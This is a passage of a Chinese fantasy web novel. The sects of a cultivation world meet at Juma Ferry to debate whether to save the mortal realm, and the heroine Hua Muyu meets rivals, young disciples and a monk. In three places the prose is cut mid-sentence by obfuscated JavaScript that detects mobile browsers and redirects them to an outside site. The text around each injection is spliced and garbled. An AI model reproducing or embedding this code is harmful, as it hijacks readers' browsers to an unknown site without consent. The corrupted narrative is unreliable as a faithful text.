花沐雨一愣,望着烛光里燃灯温和的目光。 47.拒马渡前陈 没过多久,消息传来,那日轰隆隆的地动加之曲照收到师门急召,是因为江流派的南明离火炸炉了。 “那可是难得的好东西。”燃灯道,“五行灵物知道不?南明离火就是火属性的灵物,当初四方阵就是用的这个,剩下的南明离火都在江流派,供他们炼丹修行,这次可是炸了。” 花沐雨似懂非懂。 再有一段时间就是七十九门会,燃灯没有闭关,日常窝在门生堂里打发时间。这段时间,花沐雨把天烛峰上的书籍都翻了一遍。 燃灯是学过阵法的,花沐雨捡着他的手记看过,心里对阵法大概有了些了解,只是找不到四方阵的资料,甚至连别的书里也都没有涉及,果真如他所说的,燃灯对这些事都避得远远的。 虽然收获不少,但也收获不多。夜间依旧难以成眠,花沐雨心中有些怅然,只能等七十九门会期间,去双化阁中再查找一些典籍。 她明白此事不急在一时,只是仍忍不住焦虑和烦闷。又想到许久不曾联系丹砂,算算时间,七十九门会就在几天后,不知道这一次得七十九门会小南国会派哪些人参加,许久未见,如果丹砂等人能在其中,倒能趁机见上一面,于是去信给她: 丹砂大夫, 展信佳。 扈陵一别,恍若昨日。我已归凛岳,未知汝近况如何,是否返回凌虚界。不日七十九门会,届时不知你我能否相见。 顺颂时祺凛岳花沐雨 没多久回信传来,纸上没头没尾寥寥几个字: 活着。在回来了。不去。 花沐雨会心一笑,将丹砂的回信收好。 她所料不错,以丹砂的性子,是最不耐烦这种事情的。 这几日在凛岳,花沐雨确实过了一些清静日子。虽然还有未了的事压在心头,但煮煮东西、看看书、练练剑,即便还是难以成眠,她心里也平静不少。 只是这份清净的日子到底是一天天倒数的,七十九门会转眼就到了。 “两三天就回来了。”山门外,燃灯停住脚步,回身对曾卧雪道,“你好好看家,想要什么给我们飞纸鹤,我们给你带回来,不要让别人偷偷摸摸占我们的地方,也别让别人上天烛峰。” “弟子明白。”类似的话,燃灯每次闭关前、出门前都要说一遍,曾卧雪早就烂熟于心。 “这是我改过的鹤纸。”曾卧雪把一沓包好的纸交给燃灯。自从上次花沐雨失去灵力无法传信之后,他便将鹤纸做了改动,“我将灵力在纸中封存,如此即便使用者没有灵力,也可以传信给我。” “只能传信给你?”燃灯接过纸包问。 曾卧雪嗯了一声,点头:“目前只能传信给我。” 燃灯将纸包翻过来看了看,转手交给花沐雨。 花沐雨收好,对曾卧雪说:“我们尽快回来。” “行了,走吧。”燃灯摆摆手。他用的仍是那把木剑,先一步纵身启程。 “回去吧。”花沐雨朝曾卧雪示意,手指一动,一把银色的长剑出现在空中。剑身出现在空中的那一刻,四周便荡开了丝丝缕缕的银光,是凌虚界灵气充沛的缘故。她挥袖御剑而去,帏帽上的雪纱抚过曾卧雪的发顶。 曾卧雪仰头,直望着他们的身影消失在晴空中。 “不是让你挑了新的剑吗?” 花沐雨赶了上来,燃灯瞧见她的剑,不满地说。 花沐雨一笑,温声道:“还没熟悉,出门就没带着。” 燃灯哼了一声,知道她找的都是借口,她就是不想再拿一把新的剑。他这个徒弟总是在一些方面钻牛角尖,硬劝也劝不动,他索性丢开手,说不定哪天她就自己想通了。 水是灵脉,山是剑脊,凌虚界的大小门派依山傍水而建,总计七十九方,故而凌虚界的集会又称“七十九门会”——虽然沧海桑田,有很多门派都已经在岁月中销声匿迹,如今能来参会的,已经凑不齐七十九门了。 历来七十九门会都在拒马渡,一是拒马渡地处凌虚界中心,各门各派前往都比较方便;二来,双化阁正建在此处。 开化蒙昧,教化万民,是谓双化。双化阁禁兵戈,禁石火,九层通天,古今圣人之言皆在其中,邪祟魍魉不得入内。 此地有特殊的代表意义,是个商讨事情的好去处。 “一天天吵来吵去,耍嘴皮子说这些没什么用的东西。就算在这儿吵赢了又能有什么用,你能强迫谁去干呐?”燃灯唠叨着,对花沐雨说,“到时候他们爱说什么就说什么,咱不吱声就完了,顶个数混完两天就赶紧回家,该干嘛干嘛才是正经。” 拒马渡此地本身有一个小的法修门派,名叫拒马派。其他各家门派会定期给他们捐助一些萤石等物,由他们代为对拒马渡头和双化阁进行日常维护。这些捐助同时也包括了七十九门会期间的主持,以及处理参会各派的住宿餐饮等日用杂务。 在凌虚界御剑飞行的速度,与人间不可同日而语。剑气挡住罡风,连花沐雨的帽纱也只是轻轻吹拂。二人很快来到拒马渡外,只见两片山崖如断剑横卧,河水似白练,自两方万丈悬崖之间砸落。崖顶一座通天白玉九层楼阁,恍如河水倒流,正是双化阁。 察觉到二人靠近,崖顶的弟子敲响铜钟。 “所来尊客,闻声下马——” 底下传来悠长的呼喊,燃灯剑势一缓,和花沐雨二人撤去剑气,慢慢落在崖顶双化阁前。 “恭迎凛岳燃灯祖师——”守在崖顶接待的弟子们纷纷拱手。 燃灯带着花沐雨欠身见礼,由接引的弟子引去崖下。崖下有拒马渡头,是这几日他们吃住和与其他门派会面的地方。 崖顶瀑布落下的水流湍急,到了渡头处为一片深潭,水面总算平静无波。接引弟子领着他们穿行在搭建在水面的平台之间,转到崖壁下,到了为他们安排的住处。 此处是一个套间,燃灯和花沐雨各居一处。窗纱漫漫,水声泠泠,推窗可见崖壁冷肃,是个清幽的好去处。 只是美中不足,花沐雨正在窗边望着崖间涓流,便有另一位接引弟子领着另一行人过来了。 是江流派。 双方视线相对,为首的古月长老停住了脚步。 花沐雨略一颔首:“古月长老。” 古月不言,仰着下巴,上下打量她两眼。 前来七十九门会的各门派弟子都会穿上各自门派统一制式的服装,燃灯花沐雨等不在意这个,没制过统一的服装,平时穿什么,这时也就穿什么。 花沐雨知道古月这人。她跟燃灯来过很多次七十九门会了,以往来时,江流派派来的话事人一般是长留长老,古月很少出面。 长留长老辞令温和,说话有理有据,虽然有时各有立场,但花沐雨对他颇有好感。没想到这次讨论人间界,江流派来的竟然是古月。 根据花沐雨的猜测,古月多半和燃灯有些过节。 她观察古月和其他人接触,纵然态度上免不了高傲,但总体而言还是尊重守礼,也听得进人讲话。唯独对着凛岳,或者说,唯独对着燃灯和燃灯相关的人事,他从来鼻子不是鼻子、眼睛不是眼睛。不管燃灯凛岳这边说什么,只要他在场,从来没有一句好话说。 打量完,古月神色略有些轻蔑地收回视线,道:“这次你师父不来了?” 里间的燃灯听到说话声,从屋里转出来,来到花沐雨身边。 “古月长老,别来无恙啊。”燃灯笑着招呼道。 古月从鼻子里笑了一声,嘲讽道:“您辈分可是大。七十九门会是什么了不起的大事,竟让您堂堂凛岳传人次次都来。鄙人区区一介代言长老,能与您大驾共襄盛会,实在是荣幸之至啊。” 燃灯笑呵呵地说:“咱们上了年纪的人,勤活动活动是最要紧的。” 古月脸色一沉,转而看向戴着帏帽的花沐雨,呵斥道:“你叫什么名字?尊长面前,双化阁下,为何还不脱帽?叫别人看到,只说凛岳弟子竟这般遮遮掩掩,不敢以真面目示人!” 他们见过几次了,他此前说话,分明也是认识她的,只是这时又要找由头发作罢了。 花沐雨并不理他的挑剔,恭敬拱手道:“在下凛岳二弟子花沐雨,此前与长老在七十九门会上见过的。” “哦,原来是二弟子。”古月道,“林栉风死得早,你可就是你们凛岳的首徒了,这样见不得人,成什么样子?总不能,你也像你师兄一样不争气,早早死了,留你师父这个没几年活的老头子,再拉扯起来你那个大门不出二门不迈的师弟吧?” “万世隙中驹,声名水上书*。”花沐雨面色平静,“长老有所不知,凛岳弟子只守本心,从不为外物声名所累。” “不为外物声名所累?”古月不屑地反问,“今天我再教你一句。人越是在意什么,就越是假装不关注什么。骗骗别人可以,可别把自己也给骗了。” 花沐雨心中有些不悦,勉强一笑。 “都在这里堵着做什么?” 正僵持,人群后忽然传来一道清亮的女孩子的声音。 塞住走廊的人群从中间分开,从后面走出另一队人来。 花沐雨侧过一眼,原来是塞北长河门。 这是法修另一大派。江流派盘踞东南水系,长河门则与其对峙于西北,二者都属于法修一脉中的领军势力。 长河门带队的是一位中年妇人,花沐雨见过她几次,但没说过话,只知道她是长河门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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长河门的队伍中,穆西琳跟在仲灵后面,趁没人注意,偷偷回身朝花沐雨眨了下眼睛。花沐雨一愣,还没弄明白她的意思,她已回过头去,跟人群一起走了。 目送两伙儿人走远,燃灯也转身回屋。 花沐雨跟在他后面,随口问道:“此前我便发现了,您与古月是不是有什么过节?” “嗐。”燃灯摆摆手,“那老家伙心眼小罢了。” 二人回到桌前,花沐雨用指背探了探茶壶,壶壁尚有余温,是拒马派备好的茶水,便排出杯子,为燃灯和自己倒了两杯。 拿起茶杯,燃灯为她解释道:“早年辟界之战刚结束那会儿,咱们门派就剩下我一个。当时也是七十九门会,他们看我小,想要找个门派把我收下,到时候凛岳就跟现在的昆仑和鸪川似的了。决明子他们问过我愿不愿意,那我肯定不愿意啊。” 花沐雨起了几分兴致,这倒是她第一次听燃灯提起他小时候的事。 燃灯继续道:“那时候就属江流派叫得最欢,所以我就在他们商量的时候,说我肯定能把凛岳传承下去,不信你看我跟你们的人打。” “你跟他们打了?”花沐雨有些惊讶。 “嘿,”燃灯伸出两根手指头,“灭门之后,我两个月没睡觉啊。两个月,就练那一招停杯一问。” “你为了七十九门会特意练的?”花沐雨问。 “嗐。”燃灯叹了一声,给花沐雨续水,“我那时候哪知道什么七十九门会啊。我一个外门弟子,年纪又小,就知道门派里人都没了,凛岳就剩我自己了。那我能咋办,我肯定得练剑啊,凛岳就剩我一个,我不能让凛岳没了啊。” 花沐雨张着嘴,半天没说出来话:“两个月,就练了一招起手式?” “哎呀,我资质不行嘛,要不然怎么是外门弟子呢。”燃灯说道。 “但是你打赢了?”花沐雨瞠目。 燃灯说得含糊:“嗐,就那样吧。” 花沐雨一时没想明白他说的“就那样”是哪样,就结果来看,肯定是没输的,于是先问了另一个要紧的问题:“当时和你打的……” “就是古月嘛。”燃灯一摊手,“他就比我大十来岁,当时也年轻呢。” 花沐雨回忆了一下古月的样貌:“现在你看起来可比他老多了。” “嗐,”燃灯又叹了一声,“我资质不行嘛,自然老得快。就这么点小事,那老小子这么多年了还跟我记仇。” “你到底怎么跟他打的……”花沐雨无奈。 燃灯摆摆手:“嗐,就那样吧。” 总之就是最后,燃灯并没有被收入别的门派,结下了古月这个仇家,成为了凛岳的半吊子掌门。 48.众心难一结难斩 花沐雨没想到的是,自己第二天就知道燃灯说的“就那样”是哪样了。 “你自己家的事,自己都不知道?”穆西琳瞪大了眼睛,“你师父当年在七十九门会上,可是只用一招,就跟当年的古月长老打得难分高下。” 说着,她凑近花沐雨耳边,掩着唇低声说:“古月长老当时可是风头正盛的青年才俊,你家那师父,反反复复用一招戏弄人家,我听说,他打完之后气得一句话都没说,自己回江流派闭了半年的关呢。” 说完,她坐直身子,朝江流派那边努努下巴。 花沐雨一默。 她倒想问,这些陈芝麻烂谷子的事,穆西琳是怎么知道得这么清楚。 只会用一招停杯一问,总角孩童对阵青年才俊……而今当时的孩童比当时的青年更苍老几分,当时的问又有多少得到了解答呢。 此时已经是早茶时间。 这位西琳小姐十分热情又自来熟,落座没多久,就主动来找花沐雨,三言两语,说起了凌虚界中许多小道消息。 燃灯一向觉得花沐雨朋友太少,故而十分乐得看她和同龄的女孩子们接触。见穆西琳主动找来,他便不管这边,自去跟同桌的小南国等人聊天。 花沐雨本觉得有些尴尬,苦于应对。好在穆西琳话多,自己一个人都能说上半天,倒不用花沐雨费很多力气,一来二去,花沐雨也放松下来。 “当时你们离开的时候,你是冲我眨了下眼睛吗?”花沐雨好奇问道。 “是啊。”穆西琳道,“我当时就想约你一起玩呢。” “啊?”花沐雨有些茫然。 “我和我这边的朋友一直听说凛岳有一位女弟子,早就想认识你,只是一直没机会。”穆西琳道,又问,“你知道吧,这次七十九门齐聚,我们要讨论的是什么事。” 花沐雨温吞道:“你知道是什么吗?” “老生常谈了。”穆西琳兴致缺缺,“左不过是那些凡人的事,和我们什么关系呢,好几百年了,每次都当成个事来说。”说罢,她话音一转,“明晚我们包了清音厅行酒令占花名儿,你也一起来吧,各个门派的年轻弟子都来呢。” 花沐雨还要考虑,穆西琳立刻劝道:“好姐姐,去吧,年轻人在一起才有趣,也好叫我们见见真人。” 花沐雨搞不懂她为何言辞中把自己当成什么神秘稀罕的玩意儿,不过思及自己确实和年轻的修士接触甚少,更不知道他们对人间的事是什么态度,就还是同意了。 “好。”花沐雨答应道,“只是我不太熟悉你们的玩法……” “我教你。”穆西琳满口应承下来,“特别简单,你玩两把就会了。” 如此约定下,待早餐用罢,七十九门会的议程也正式开始了。 莲花座缓缓升空,而一众门派的莲花座漂浮在空中,又恰如莲花之形。当中的花蕊处,是三位白衣弟子,并一方白玉桌案。案上一架金铃,并笔墨纸砚若干。 最左侧司钟弟子将金铃敲响。“七十九门会今日之议事启。”弟子唱喏道,“各门派次第发言。” 拒马派的议事长老首先说话:“辟界之战距今已三百年,昔日江流圣人与诸先贤大能所辟四方阵,定阵的五行灵物耗空在即,而今我等须商讨四方阵与五行灵物之事,还请诸位仙友畅所欲言。” “五行灵物为四方阵立阵之根本。”一位长老率先道。她是青弋派此次的议事长老,青弋派尤擅阵法,她也从阵法说起,一挥手,莲座上空云雾凝聚,一座虚拟的缩小法阵缓缓浮现。 “东方属木,东方龙江望海口,镇之以建木;西方属金,西方当央明光顶,镇之以精金;南方属火,南方赤地琉璃眼,镇之以南冥离火;北方属水,北方巴彦狼阴山,镇之以弱水;中央属土,阵眼万方虚空境,镇之以息壤。” 随着她的话语,微缩的法阵中,各方彩光渐次点亮,最后在中央汇聚,形成一个完满的阵光。然而不过呼吸之间,代表五行灵物的彩光暗淡,阵光也几近熄灭。 “如各位所见,”青弋派的议事长老继续道,“三百年过去,当初辟阵时所用的五行灵物灵力即将耗尽,据我派估算,约计再有三十年,五行灵物的灵力便将彻底耗尽,届时,四方阵也将不复存在。若想延续四方阵,我等需尽快替换和补充新的五行灵物。” “当年辟阵所用的五行灵物,都是上古时期才有的天才地宝,何其珍贵。”补远派驳道,“且不论我们今日能否再次集齐五行灵物,只说四方阵消耗之巨,不过三百年,便将此等至宝的灵力消耗殆尽,即便三十年后我们为四方阵换上新的五行灵物,天地间又有多少五行灵物,能够禁得住四方阵三百年又三百年的消耗?” 并不接他的话茬,青弋派的议事长老接着道:“建木出鸪川,精金源凛岳,弱水自昆仑,息壤生南国,而南冥离火,是由当年江流圣人提供的。” 随着她的话,众人的目光落在江流派。 “鸪川和昆仑绝户几百年了!”古月冷冷出声,“我们徒于此地谈论延续四方阵,敢问各位可曾想过,延续四方阵是为了什么?” 他停顿片刻,环视一周,自问自答道:“说是四方阵与五行灵物,其实追根究底,还是为了人间浩劫。” “四方阵开四方界门,打通凌虚界与人间界之间的壁垒,沟通凌虚界与人间界之间的灵气,故而能保人间界三百年无恙。”古月道,“然而天道有常,人间已到了由盛转衰的必至之境,是顺应天理,是万物自然。我辈又为何要逆天而为,在此为了延续气数将尽之物的苟延残喘而徒费口舌。” 此言一出,四座静默。 小南国的川柏长老淡淡开口:“但凡你曾到过人间,但凡你曾见过一个生命的逝去,但凡你曾注视过一双活生生的眼睛,你便不会如此傲慢地将一整块大地的生死称为‘顺应天理’。”他看着古月,“那是万万条鲜活的生命,我知道,而你不知道。” “三界之内,一个人,和一草一木一花一树,并没有什么差别;一个人,也并不比飞禽走兽花鸟虫鱼高贵。”古月道,“万物寄于天地,一呼一吸,都来自天地的滋养。生于天地,而归于天地。朝菌不知晦朔,便如我辈生年须臾而不知天地之寿,又岂敢苟以天地赋我之命,反逆天地之自然乎?” “诸位仙友,诸位仙友。”拒马派的议事长老抬手劝和道,“所谓人间浩劫,到底是指人间一界的覆灭,还是指凡人一族的覆灭,还未可知。” “不管是人间一界,还是凡人一族,人间之罪,难道还不到要毁灭他们自身的地步吗?”一道冷淡平静的女声吸引了众人的视线。 说话的是南渡派的议事长老。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16297067|182691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “自有界门之日始,我们便开始看人间。”她道,“凡人种种,自私、贪婪、愚昧、恶毒。他们踩着草木的尸骨繁荣昌盛,将其他生灵吞入腹中。凡人大肆繁衍,而其他生灵族群锐减,幽冥中,不乏转生无门的草木兽魂投生为人胎。而这些转生无门的草木兽魂所含的怨愤,让凡人之间争斗、对峙尤甚。” 有其他门派斟酌着想要反驳,但她的话没说完:“即便凡人中有美德,但若他们自己不能拯救自己,我们又何必拯救他们?” 说罢,她转而问向小南国的席位:“敢问小南国诸位,此前扈陵大疫,贵派遣人拨物,然而三番两次遭凡人截杀,只因凡人贪财害命,又恐事发,以致贵派弟子损伤不少,可有此事?即便如此,贵派也要罔顾门下弟子安危,反而继续执意垂爱凡人吗?” 汉水派接着她的话赞同道:“三千年前,先辈另辟凌虚界,便避世而居,一心问道,不与凡人等同。如今人间浩劫,本来便不该由我们关心。天道大势、飞升成仙,以至于凌虚界中自有昆仑、鸪川等地的荒废亟待整理,这才是我们该关心的事。” “仙友此言差矣。”出声的是九华派。九华是剑修门派,他们派来的人稀疏坐着,说话的是一位女剑士,“虽另辟一界,但敢问仙友,修士是否也是由人间而来?问道飞升,在此之前,难道我们便不是人吗?上有先辈圣人流血在此,下有同胞同命寻根所在,何以尔等竟认为自己已经超脱凡俗,不与凡人等同?” “即便要救,我们救得起吗?”最开始驳斥青弋派的补远派议事长老又道,还是说他一直坚持的观点,“三界当中,谁每三百年便能凑齐一套五行灵物?更不要提,上一次建立四方阵与天兵天将对阵,凌虚界折损何几?” 补远派的议事长老转而向座中依次看去:“敢问诸位,四方阵初建之时,诸位出了多少物力,又出了多少人力?而今四方阵再续,诸位又能出多少物力,出多少人力?” 无人答言,补远派的议事长老颇不屑道:“慷他人之慨,难怪言辞激烈。鸪川昆仑为此灭门,凛岳弟子折损殆尽,燃灯掌门在此,诸位可见凛岳发有一言?” 众人的视线隐隐转向凛岳,燃灯仿佛听不见似的合眼冥想。花沐雨坐在他身后,也敛睫垂眸,不为所动。 “先贤意志在此,虽九死其尤未悔。”九华派另一位议事长老道。 “诸位仙友,听我一言。”西河派的议事长老高声道,“是否救人间浩劫与是否再续四方阵,并不可等同而论。须知并不是延续四方阵,人间界就可得到拯救;救人间界于水火,也并不只有延续四方阵一种方式。” 她这话一出,倒是叫会上各执一词的众人耳目一新。 青弋派议事长老补充道:“西河所言属实。四方阵即开,而自由四方界门逸散到人间界的灵气终究有限,并不足以哺育人间万万生灵,是以三百年过去,人间天灾人祸不断。由此可见,即便此三十年四方阵得到新的五行灵物,针对人间浩劫,也是治标不治本。” 古月不耐已极,一挥袖:“人间有什么好拯救的。”说罢,率先率江流派弟子离席而去。 其后,南渡派、汉水派相继离去。 文书弟子抄录的笔不停,白衣弟子击铃:“时刻已到,今日休议。请各派长老起草决断,明日我等将对各派决断票决。” 49.欢声过后僧问禅 七十九门会第一日休议后,其实是留给各个门派私下交流的时间。 按理说各个门派都可对会中所商议之事做出自己的决断,但因有票决一则,只有决断获得八成以上的赞同时才能得到认可,所以各个门派常常商议好了之后共同做出决断,从而有利于获得更多的支持,这中间是彼此妥协、让步、求同存异而达成共识的过程。 休议后不久,小南国的川柏等人便来到凛岳的下处找燃灯,一同前来的,还有青弋、九华、西河等门派的人。 小南国和青弋派会来,花沐雨早有预料,而九华和西河,却是有些出乎意料的。 “大家都存着不可对人间坐视不管的心思,故而坐到了一起。”西河派的议事长老先这样说道,“我约了小南国、青弋和九华等门派一同到此,便是要和大家一起商议。” “续存四方阵耗资甚巨,如若我们坚持续存四方阵,恐怕补远派等必不同意,我等的决断便没有一点儿商量的余地了。”西河派的议事长老率先道。 青弋派的议事长老缓缓道:“四方阵建立之初,耗费了多少人力物力,有多少先辈填了进去,岂能说废弃便废弃。如若废弃,当年那么沉重的代价,又成了什么了。” “楚日,我们的目的是为了人间界的万千生灵,而不是为了一座四方阵;当年的先辈,也是为了人间界的万千生灵,而不是一座四方阵。”青弋派中另有人劝道。 她说得在理,此前那位议事长老便也不再多言了。 “如若不延续四方阵,又有何法呢?”川柏问。 “此事我思索许久……”九华派的议事长老道,“凌虚界中尚有许多无人之境,比如西方冰原,更还有昆仑、鸪川,都有许多空地可供凡人安置。” “你是说,把凡人接引到凌虚界?”西河派的议事长老安宜进道。 “人间界生灵无数,莫说冰原、昆仑、鸪川,即便是整个凌虚界,怕是也装不下。”青弋派议事长老楚日道。 “确实如此。”九华派的议事长老岑九霄道,“故而,我辈只可在凡人中,择品行端方、无有罪过、或有大才大善之人上界,并在其余每种生灵中各择一二,接引他们来入凌虚界避此劫难。” “只救一部分人吗?”楚日道,“那么,我们又该怎样决断谁该救,谁不救呢?” “我倒是知道一物。”莫无归道,“幽冥界有一法宝,名为魂灵簿,上面记载了人间界一切生灵魂魄的生前种种。我们可以依据此簿,挑出有大功德的人。” 众人都默默赞同了。 “四方阵真的要废弃了吗?”眼看即将落定,楚日不甘心地问。 一直没出声的燃灯道:“先辈所做之事,自有万世之功,楚日,你不必挂怀了。” 岑九霄等人互相看看,楚日叹了口气,不再有异议了。 “那便如此。”岑九霄道,“我等决断,不再延续四方阵,入幽冥取魂灵簿,在人间界包含凡人在内的各个种族中依功德,择其接引如凌虚界避此灾祸,安置在雪原等无主之地。” “昆仑和鸪川,可是有太多人觊觎已久了。”川柏对挑选部分人来救一事始终持保留态度,但并未出言反对,只是在此事说道,“若是将凡人安置在昆仑和鸪川残迹,恐怕引人非议。” “正要如此才好。”岑九霄道,“昆仑和鸪川久无人烟,纵然他方觊觎,也无理由下手,如今安置凡人,他们倒也有了可乘之机,如此,他们便更能同意我们的决断了。” 川柏默然。 昆仑和鸪川原是两派祖地,两派虽然门派不再,但于他们而言,总是想保留这一块清净之地,权做对故去之人的尊敬与怀念。 但他们也知道,这份尊敬与怀念,终究是抵不过灵脉和灵气对修士的诱惑力。到底故人已去,此地空余残骸,倒也确实留不住了。 “那凛岳呢?”楚日忽然说,“凛岳绵延百里,如今只有师徒三个,用来安置凡人,又可为你们门派繁盛,岂不正好?” 众人面面相觑,不好说话。 先前岑九霄略过这一节,便因燃灯和花沐雨在此,到底不好开口。 “若真有功德深厚、品行端方又资质出众之人,收入凛岳门下也无不可。”燃灯缓声道,“决断中也可加一条,若凡人有意入道、而又符合各门派入门标准的,收凡人入门也未尝不可。” 至此,几方共同决断算是初步成型了。 “补远派、青城派等都是可以争取的,我们还需尽早与他们好好商议,说明厉害,才好获得他们的支持。”岑九霄道。 众人称是,便纷纷告辞,各自去联系其他门派、争取他们的支持去了。 与青弋、小南国、西河等门派私下商议完,夜色渐深。花沐雨看看天色,估摸要到穆西琳所说的宴饮的时间。 虽然答应了,临近出门,她心中又有些抗拒。但是无奈,已经答应了,她禀明燃灯,提了壶酒,出门拦住一个弟子问好路,而后自往清音厅去。 清音厅在拒马渡西北面,面积不大,建在水岸中央,离主客们居住和议事的地方有段距离,想来即便宴饮也吵不到旁处。 穆西琳并几个姐妹还在看着拒马渡的弟子摆放瓜果点心,见花沐雨打屋外来,忙迎了上来。 “你是第一个到的。”穆西琳拉着她,将她让到自己的座位旁边,又给她拿了额外的果盘和茶酒。“尝尝这个酸奶糕。”穆西琳给她递点心,“这个可是我自己做了带过来的。” 花沐雨接过来尝,酸奶糕质地瓷实,带着浓郁的酸味,单吃酸味过重,还有些腻人,但如果配上水果茶水,想必十分适宜。 “是你自己做的吗?”花沐雨惊异道,“很好吃啊,我喜欢吃这个。” “不酸吗?”穆西琳另一个朋友道,“这个太酸了吧,我们都吃不下去。” 花沐雨将半个手掌心大的点心三两口吃净,举杯喝了口茶,又叉了块果子:“单吃是有些酸,但是酸得还挺好吃的。配着茶水果子,我还挺喜欢的。” “你看人家多有品位。”穆西琳对她那个朋友说着,又回头对花沐雨道,“他们也快到了,一会儿我们玩酒令占花名。” “我给你带了壶酒来。”花沐雨把自己带来的酒给穆西琳,“是我们自家酿的,度数低,喝起来甜,并不上头,合适小酌两杯。” 穆西琳接过来看,将不大的坛子在手中把玩两遍,又揭开酒封嗅了嗅,赞道:“花果的香味!” “你的鼻子灵。”花沐雨抿唇一笑:“正是花果,用的是带花的苹果、杏子和野蜂蜜。” “嚯。”穆西琳将酒封盖上,“听起来怪甜的。” “是小甜酒。”花沐雨道。 没多时,别的人三三两两来到,有男有女,不大的清音厅来逐渐热闹起来。众人围着坐下,催促穆西琳拿签筒骰子。 穆西琳捧着弟子递过来的签筒点了点人数,道:“董斐他们还没到,不过咱们人数也够了。” 花沐雨打眼看过一圈,发现自己一个都不认识。或许有的之前会上见过,但她也没记住,看不出谁是谁。 他们彼此似乎有的已经熟识了,并没有人来特意引荐,花沐雨也没多打听。穆西琳在众人间穿梭来去,避此应答着,一时忘了她,她乐得自己坐着。 人一多,各自笑闹起来,氛围倒是比花沐雨想象得轻松许多。厅中一圈坐了约有好几十人,骰子没转到这边来,花沐雨独自就着茶水果子,将一叠酸奶糕吃得差不多。 正这时,厅外传来一声招呼:“我来迟了!” 这话一出,厅里便沸腾了。 “来得这样迟,非得罚你几杯不可。”穆西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16297068|182691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 琳笑道。 弟子打帘,一个男子率众进来,解下外褂扔到弟子怀里,边上早有人给他腾出空位。他在人群当中坐了,先拎起酒壶给自己倒上一杯,朝四周示意:“陪师尊议事,耗到如今,我自罚一杯!” 说罢,仰头饮下,众人纷纷赞道:“董兄痛快。” 花沐雨看着那边的情形,猜测这人便是穆西琳等之前所说的董斐。 董斐身边的一人和他说了句什么,声音比较低,周围又乱,花沐雨没听清。听他说完,董斐抬起头来。董斐嗓门大,说话毫不避讳,这下花沐雨便听清了。 “那是姜国的禁军谋财害命,借着瘟疫,将一城的人都快杀尽了,从中捞了许多钱财,还妄图将小南国前去救灾的队伍也一起灭口。”说着,董斐又饮了一杯旁边人敬的酒,“要我说,小南国那群大夫真是过于心软了些,他们这一趟弟子受伤不少,竟然也没说什么追究的话,还一心帮着凡人。我听他们自己弟子中间,也有不少怨言呢。” “董兄,你们真不管凡人死活了吗?”跟他隔着几座的人也听到了他的话,离着老远,喊着问道。 “嗐。”董斐也叹,“我也觉得无情了些,但这确实也是自然道理。” 花沐雨听到,心中感叹,江流派对人间一事态度如此强硬,未曾想门派中的弟子也有于心不忍之人;小南国一贯亲近人间,弟子中也多有怨言。由此看来,门派中的年轻弟子未必想法一致。 “凡人一个个泥头脑袋,能有今天,全是他们咎由自取,有什么好救的。”另一个在他旁边的弟子道。 穆西琳道:“那都是长老们的事,和我们有什么关系。说这些做什么,大家坐在一起,只管欢聚玩乐才好。” 于是众人又欢笑闹开,花沐雨又饮了几杯酒,穆西琳转回来,带着几个人见过了花沐雨,那边高声叫着“陪饮一杯”,花沐雨找个空档,便和穆西琳告辞了。 穆西琳留她几回,花沐雨都借故推脱。穆西琳于是送出门来,直送出老远,才被花沐雨劝回去了。 走出两条回廊,花沐雨耳边才清净下来。 听着泠泠的水声,回到人居附近,花沐雨长舒一口气,心境渐渐平复。 引凡人入凌虚界,真是个好法子吗?刚刚那一群弟子,各门各派的都有。若是凡人来到凌虚界,又要怎么和这样一群未来的掌舵者相处呢? 一边这样想着,她遵照早打定的主意,要趁夜深人少,往双化阁去。 她只管走路,未留意灯火昏暗的水潭边有人出声将她叫住。 “施主,请留步。” 花沐雨闻声回头,身后一人身披袈裟,原来是普陀山的妙法和尚在潭边坐禅。 “大师。”花沐雨转身,双手合十见礼。 “自先前会上,我便见你眉间深结郁色。”妙法和尚年纪比燃灯还要大些,这些年花沐雨在中往来,和他也算认识。 花沐雨道:“凌虚界各门各派共聚拒马渡,是为商议人间之事,弟子参与期间,难免挂心一二。” 妙法和尚看她半晌,道:“孩子,你要知道,这世上的因果如河流一般流淌。兀自强求,便如以手掌截断流水,其结局,莫不是流水逝于指缝,抑或一朝积水倾泻而终究溃败。我们能做的,只有让该发生的事情发生。” 花沐雨喉头一紧,默默将头垂下:“大师,自有命运长河,我不是站在河边的人,我只是河流中的一滴水。” “河流里的每一滴水,又何尝不是站在自己的河边呢。”妙法和尚答道,“孩子,你执念太过。” “不,大师。”花沐雨道,“我的问题,正是没有执念。” “没有执念又何尝不是一种执念。”妙法和尚道,“自苦自恨,何苦如此。” 花沐雨一笑,又行了一礼,无声告辞,转身离去了。 50.书解圣人言 开化蒙昧,教化万民,是谓双化。双化阁禁兵戈,禁石火,古今圣人之言在其内,邪祟魍魉不得入。 辞别了在潭水边坐禅的妙法和尚,花沐雨独自登崖,来到双化阁的门前。 